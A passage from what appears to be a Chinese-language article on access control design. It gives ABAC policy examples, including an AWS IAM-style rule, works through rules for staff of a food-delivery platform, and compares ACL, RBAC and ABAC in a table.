时间在工作时间 - IP 来自公司内网 { "effect": "allow", "condition": { "department": "finance", "level": "P7+", "time": "9:00-18:00" } } { "Effect": "Allow", "Action": "s3:GetObject", "Resource": "*", "Condition": { "StringEquals": { "aws:PrincipalTag/Department": "Finance" } } } 然后以上面外卖平台的例子来分析 比如我们有这些用户 - 小明(主管) - 部门:运营 - 职位:主管 - 门店:全部门店 - 小红(后台打包员) - 部门:仓库 - 职位:打包员 - 门店:门店 A - 小张(骑手管理员) - 部门:配送 - 职位:调度员 - 门店:门店 B 然后一条规则如下 规则 1: 允许操作:view, update, enable/disable 条件: 用户.position == '主管' OR (用户.position == '打包员' AND resource.store == 用户.store AND resource.resource_type == '订单') 这意味着 - 小明(主管)可以操作所有门店的员工信息 - 小红(打包员)不能操作员工信息,只能操作自己门店的订单或配送任务 再比如 规则 2: 允许操作:view, update 条件: 用户.department == resource.department AND resource.store == 用户.store - 小红只能查看和更新自己门店的订单 - 小张只能调度自己门店的配送任务 规则 3: 禁止操作:delete, enable/disable 条件: resource.sensitive == true AND 用户.seniority < 5 - 只有资深主管(seniority >= 5)才能进行高风险操作,如删除账号或启用/禁用员工 对比来说,三种方案的适配情况如下 | 特性 | ACL | RBAC | ABAC | | ----- | ------- | --------------- | ---------------------- | | 核心思想 | 资源挂名单 | 用户挂角色 | 属性 + 规则 | | 权限分配 | 资源 → 用户 | 角色 → 权限,用户 → 角色 | 动态计算 | | 灵活性 | 低 | 中 | 高 | | 可扩展性 | 差 | 好 | 强 | | 适合场景 | 小系统 | 企业系统 | 云原生 / 多租户 / Zero Trust | | 动态控制 | 差 | 差 | 强 | | 管理复杂度 | 低 | 中 | 高 | #### 3.10.4 多租户权限
标签:ASN解析, JS文件枚举, SQL查询